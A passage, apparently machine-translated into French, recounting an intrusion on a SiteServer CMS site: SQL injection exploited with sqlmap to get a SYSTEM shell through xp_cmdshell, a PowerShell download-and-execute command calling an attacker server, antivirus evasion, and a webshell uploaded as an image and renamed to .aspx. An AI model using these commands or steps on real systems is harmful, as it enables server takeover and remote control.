Maison > Article > Opération et maintenance > Un exemple d'analyse de l'injection mssql + téléchargement de liste blanche pour contourner 360
Le site est construit en utilisant vue+aspx+iis8.5. La boîte de connexion au site comporte un numéro de version et le mot siteserver apparaît dans la colonne URL. Par conséquent, on soupçonne qu'il a été construit par cms, mais je n'ai jamais vu le cms. En utilisant la recherche Google, j'ai découvert que le site avait été construit avec. siteserver cms. La version est la plus récente et il existe des vulnérabilités disponibles sur Internet. Elle ne peut pas être utilisée ici. J'ai essayé l'injection + un mot de passe faible + un contournement du code de vérification + des méthodes non autorisées et autres dans la boîte de connexion en vain. un compte test, je me connecte simplement directement au site pour tester.
L'image est l'image de connexion que j'ai trouvée sur Internet. La case rouge était le numéro de version au lieu de l'invite cms.
Après être entré en arrière-plan, j'ai brièvement parcouru les fonctions, qui sont pour la plupart des fonctions de gestion de pages. Je n'entrerai pas dans les détails ici. Cet article part principalement du point d'injection.
1 : Test des points de téléchargement : il existe des téléchargements à de nombreux endroits, y compris des avatars, des fichiers doc ordinaires et des téléchargements d'éditeurs. Après les tests, les fonctions de téléchargement sont limitées par des listes blanches, j'ai donc décidé d'abandonner le point de téléchargement. même si je peux télécharger des jpg, car la version iis est trop élevée pour être analysée. (Mais j'ai vu plus tard un article selon lequel iis8.5 utilisait avec succès une vulnérabilité d'analyse).
Deux : Lors d'une fonction "tri par lots", capturez le paquet
et effectuez un test d'injection SQL sur le paramètre mot-clé du point de recherche. Une erreur a été trouvée, j'ai donc directement copié le paquet de données et. je l'ai jeté à sqlmap pour l'exécuter. python sqlmap.py -r 1.txt .
Il s'avère qu'il existe des requêtes empilées et des autorisations dba. Utilisez directement la commande --os-shell pour ouvrir xp_cmd et obtenir le shell. constatez que les autorisations actuelles sont directement les autorisations les plus élevées de NT AUTHORITYSYSTEM, je suis content En plus de ces trous et d'autres points, cette pénétration est terminée.
Mais avec une telle autorité, il serait déraisonnable de ne pas entrer dans l'intranet. Au départ, j'avais pensé à quelque chose de très simple.
Ouvrez vps, démarrez cs, générez un cheval PowerShell, exécutez os-shell, attendez la mise en ligne, le résultat est une erreur :
powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring ("http://xxx:port/a'))"
La première chose est de vérifier si la machine peut se connecter à Internet. Après avoir pingé le vps et le dnslog, il n'y a pas de problème, alors j'essaye pour utiliser la commande cmd pour exécuter PowerShell :
cmd .exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring('http://xxx:port/a') )"
J'ai constaté que la même erreur était toujours signalée, suspecte. C'était un problème avec les guillemets, j'ai donc cherché sur Baidu et utilisé ^ pour échapper aux guillemets dans cmd, mais le résultat n'a toujours pas fonctionné.
Ensuite, le patron à côté de moi a demandé si la politique d'exécution de téléchargement à distance PowerShell était définie dans Windows Server 2012 r2, j'ai donc essayé d'utiliser Get-ExecutionPolicy pour la vérifier et d'utiliser Set-ExecutionPolicy pour l'activer. voici une démonstration locale (j'ai oublié la capture d'écran de l'environnement réel) ) :
Pour plus de détails, veuillez vous référer à cet article : https://blog.netspi.com/15-ways-to-bypass-the -powershell-execution-policy/
Enfin, l'exécution de PowerShell a été modifiée avec succès dans la stratégie d'environnement réel, et l'exécution de la commande ne fonctionnait toujours pas. À ce moment-là, j'ai soudainement pensé qu'il pourrait y avoir un logiciel antivirus. causant des problèmes, j'ai donc jeté un œil à la liste des tâches et découvert que la protection 360 existait effectivement (il n'y a pas de capture d'écran ici).
On suppose que 360 a effectivement joué un rôle. La première pensée en ce moment est de contourner les logiciels antivirus. Je n'ai pas eu beaucoup de contacts avec des logiciels anti-virus et d'autres outils auparavant, http://jackson-t. ca/runtime-exec-payloads.html , j'y ai directement codé la commande PowerShell, mais cela n'a pas fonctionné, sinon je devrais emprunter un cheval et déranger les autres.
À ce moment-là, j'ai soudain pensé à écrire sqlmap pour télécharger des fichiers, mais mssql n'a pas les mêmes fonctions que mysql (plus tard j'ai demandé au patron que sqlmap pouvait également télécharger des fichiers dans os-shell (une opération sympa)), et tout à coup, je me suis souvenu de ce que je viens de dire. Pendant le test, de nombreux points de fonction avaient la fonction de téléchargement de fichiers. Même si elle figurait sur la liste blanche, cela ne m'a pas du tout affecté lorsque j'ai perdu une photo et que je l'ai téléchargée immédiatement. Faites-le simplement, téléchargez directement l'image du cheval du scorpion de glace dans la zone de téléchargement de l'avatar, bingxie.jpg Ensuite, utilisez la commande de copie dans os-shell pour renommer la copie d:abcimgbingxie.jpg d:abcimgbingxie.aspx. , non Il ne fait aucun doute qu'il sera lancé directement avec succès et que les fleurs se répandront.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!